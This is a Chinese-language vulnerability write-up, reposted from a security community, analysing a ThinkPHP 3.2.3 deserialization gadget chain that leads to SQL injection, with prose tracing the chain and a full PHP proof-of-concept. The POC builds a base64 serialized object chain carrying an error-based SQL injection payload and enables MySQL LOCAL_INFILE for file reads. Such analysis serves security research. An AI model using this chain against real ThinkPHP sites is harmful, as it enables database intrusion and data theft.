ThinkPHP3.2.3 反序列化&sql注入漏洞分析

合天网安实验室 2021-10-18

1214

转自先知社区：https://xz.aliyun.com/t/9441
作者：j1ang

环境

php5.6.9 thinkphp3.2.3

漏洞分析

首先全局搜索 __destruct
，这里的 $this->img 可控，可以利用其来调用其他类的destroy()
方法，或者可以用的__call()
方法，__call()
方法并没有可以利用的

那就去找 destroy()
方法注意这里，destroy()
是有参数的，而我们调用的时候没有传参，这在php5
中是可以的，只发出警告，但还是会执行。但是在php7
里面就会报出错误，不会执行。所以漏洞需要用php5
的环境。

继续寻找可利用的delete()
方法。

在Think\Model
类即其继承类里，可以找到这个方法，还有数据库驱动类中也有这个方法的，thinkphp3
的数据库模型类的最终是会调用到数据库驱动类中的。

先看Model
类中

还需要注意这里！！如果没有 $options['where']
会直接return
掉。

跟进 getPK()
方法

$pk
可控 $this->data
可控。

最终去驱动类的入口在这里

下面是驱动类的delete
方法

我们在一开始调用Model
类的delete
方法的时候，传入的参数是

$this->sessionName.$sessID

而后面我们执行的时候是依靠数组的，数组是不可以用字符串连接符的。参数控制不可以利用$this->sessionName
。

但是可以令其为空（本来就是空），会进入Model
类中的delete
方法中的第一个if
分支，然后再次调用delete
方法，把 $this->data[$pk]
作为参数传入，这是我们可以控制的！

看代码也不难发现注入点是在 $table
这里，也就是 $options['table']
，也就是 $this->data[$this->pk['table']]
;

直接跟进 driver
类中的execute()
方法

跟进 initConnect()
方法

跟进connect()
方法

数据库的连接时通过 PDO
来实现的，可以堆叠注入(PDO::MYSQL_ATTR_MULTI_STATEMENTS => true
) 需要指定这个配置。

这里控制 $this->config
来连接数据库。

driver
类时抽象类，我们需要用mysql
类来实例化。

到这里一条反序列化触发sql
注入的链子就做好了。

POC

<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
    private $img;
    public function __construct(){
        $this->img = new Memcache();
    }
}


namespace Think\Session\Driver;
use Think\Model;
class Memcache {
    protected $handle;
    public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
    }
}


namespace Think;
use Think\Db\Driver\Mysql;
class Model{
    protected $pk;
    protected $options;
    protected $data;
    protected $db;
    public function __construct(){
        $this->options['where']='';
        $this->pk='jiang';
        $this->data[$this->pk]=array(
            "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
            "where"=>"1=1"
        );
        $this->db=new Mysql();
    }
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options ;  
    protected $config ;
    public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true );    开启才能读取文件
        $this->config= array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
        }
}


use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));